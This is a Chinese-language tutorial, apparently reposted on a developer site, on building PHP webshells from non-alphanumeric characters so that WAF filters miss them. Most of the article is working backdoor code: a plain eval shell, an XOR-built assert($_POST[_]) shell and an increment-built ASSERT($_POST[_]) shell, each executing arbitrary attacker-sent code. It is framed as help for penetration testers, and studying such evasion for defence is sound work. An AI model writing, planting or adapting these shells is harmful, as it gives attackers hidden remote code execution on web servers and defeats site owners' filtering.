如何通过非数字与字符的方式实现PHP WebShell详解


Posted in Javascript onJuly 02, 2017

前言

本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍:

一般来说,我们所写的webshell通常都会包含数字或字母。比如说下面这样:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){

eval($_GET['shell']);

}

但如果你想要绕过WAF的话,你还得使用一些其他的技术来重写你的webshell。

思路

首先我们要明确思路,我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。

所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。

php5的断言(assert)是通过函数实现的,我们可以使用$f='assert';$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用 file_put_contents函数来达到我们的目的。

为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D

方法一

这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析结果如下:

如何通过非数字与字符的方式实现PHP WebShell详解

方法二

在这种方法中,我们可以使用一些特殊的小技巧来实现我们的目标。首先,请大家参考php.net的这份文档:【传送门】

文档中写到:“在处理字符变量的算术运算时,PHP遵循的是Perl的规范,而并非C语言规范。比如说在PHP和Perl中,$a = ‘Z'; $a++;经过计算之后变量$a会变成 ‘AA',但是在C语言中, a = ‘Z'; a++;计算后会将a变为‘['(‘Z'的ASCII值为90,‘['的ASCII值为91)。请注意,字符变量可以进行自增运算但无法进行自减运算,而且只有ASCII字母和数字(a-z,A-Z,0-9)才支持这种运算,如果对其他字符变量进行这种运算将不会有任何作用,此时的原始字符串将保持不变。”

那么接下来,我们应该如何才能得到一个包含字符‘a'的变量呢?

字符串“Array”的首字母是一个大写的‘A',而第四个字母则是一个小写的‘a'。换句话说,我们可以通过这个字符串同时得到大写和小写的字母‘a'(A),这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。

比如说在PHP中,如果你想拼接数组和字符串,那么你首先要将字符串(array)转换成一个字符串(这个字符串的值为Array):

如何通过非数字与字符的方式实现PHP WebShell详解

然后截取字符串的首字母,我们就得到了‘A'。

利用这项技术,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,所以我在结尾补上了ASSERT($_POST[_])):

<?php

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

 $____.=$__;

$_=$$____;

$___($_[_]); // ASSERT($_POST[_]);

解析结果如下图所示:

如何通过非数字与字符的方式实现PHP WebShell详解

总结

很多网站现在都会对特殊字符进行过滤和检测,因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Javascript 相关文章推荐
Tinymce+jQuery.Validation使用产生的BUG
Mar 29 Javascript
如何在JavaScript中实现私有属性的写类方式(一)
Dec 04 Javascript
js如何获取object类型里的键值
Feb 18 Javascript
基于socket.io和node.js搭建即时通信系统
Jul 30 Javascript
JavaScript递归操作实例浅析
Oct 31 Javascript
js中document.referrer实现移动端返回上一页
Feb 22 Javascript
vue-router路由参数刷新消失的问题解决方法
Jun 17 Javascript
详解vue项目构建与实战
Jun 27 Javascript
JavaScript实现微信红包算法及问题解决方法
Apr 26 Javascript
Angular6封装http请求的步骤详解
Aug 13 Javascript
小程序云函数调用API接口的方法
May 17 Javascript
js实现多张图片每隔一秒切换一张图片
Jul 29 Javascript
关于使用axios的一些心得技巧分享
Jul 02 #Javascript
React服务端渲染(总结)
Jul 01 #Javascript
Express + Node.js实现登录拦截器的实例代码
Jul 01 #Javascript
详解node-ccap模块生成captcha验证码
Jul 01 #Javascript
vue元素实现动画过渡效果
Jul 01 #Javascript
JavaScript学习总结之正则的元字符和一些简单的应用
Jun 30 #Javascript
node.js + socket.io 实现点对点随机匹配聊天
Jun 30 #Javascript
You might like
虹吸壶是谁发明的?煮出来的咖啡好喝吗
2021/03/04 冲泡冲煮
PHP解决URL中文GBK乱码问题的两种方法
2014/06/03 PHP
php判断文件夹是否存在不存在则创建
2015/04/09 PHP
PHP实现小偷程序实例
2016/10/31 PHP
PHP实现用session来实现记录用户登陆信息
2018/10/15 PHP
javascript ready和load事件的区别示例介绍
2013/08/30 Javascript
JavaScript实现网页截图功能
2014/10/16 Javascript
JavaScript实现LI列表数据绑定的方法
2015/08/04 Javascript
JavaScript实现添加及删除事件的方法小结
2015/08/04 Javascript
基于BootStrap Metronic开发框架经验小结【八】框架功能总体界面介绍
2016/05/12 Javascript
JavaScript错误处理和堆栈追踪详解
2017/04/18 Javascript
Vue resource中的GET与POST请求的实例代码
2017/07/21 Javascript
vue2 router 动态传参,多个参数的实例
2017/11/10 Javascript
jQuery实现checkbox即点即改批量删除及中间遇到的坑
2017/11/11 jQuery
vue 实现类似淘宝星级评分的示例
2018/03/01 Javascript
vue移动端UI框架实现QQ侧边菜单组件
2018/03/09 Javascript
vue最简单的前后端交互示例详解
2018/10/11 Javascript
vue2.0移动端滑动事件vue-touch的实例代码
2018/11/27 Javascript
layui上传图片到服务器的非项目目录下的方法
2019/09/26 Javascript
Vue-cli4 配置 element-ui 按需引入操作
2020/09/11 Javascript
js canvas实现五子棋小游戏
2021/01/22 Javascript
[01:03:54]Liquid vs IG 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/18 DOTA
一个简单的python程序实例(通讯录)
2013/11/29 Python
Python中的数学运算操作符使用进阶
2016/06/20 Python
python实现自动网页截图并裁剪图片
2018/07/30 Python
Python2 Selenium元素定位的实现(8种)
2019/02/25 Python
python 一个figure上显示多个图像的实例
2019/07/08 Python
Groupon西班牙官方网站:在线优惠券和交易,节省高达70%
2021/03/13 全球购物
工程师岗位职责
2013/11/08 职场文书
工作疏忽检讨书
2014/01/25 职场文书
节能环保标语
2014/06/12 职场文书
中学教师暑期培训方案
2014/08/27 职场文书
2015年酒店工作总结
2015/04/28 职场文书
考教师资格证不要错过的4个最佳时机
2019/07/17 职场文书
Python OpenCV快速入门教程
2021/04/17 Python
CSS实现隐藏搜索框功能(动画正反向序列)
2021/07/21 HTML / CSS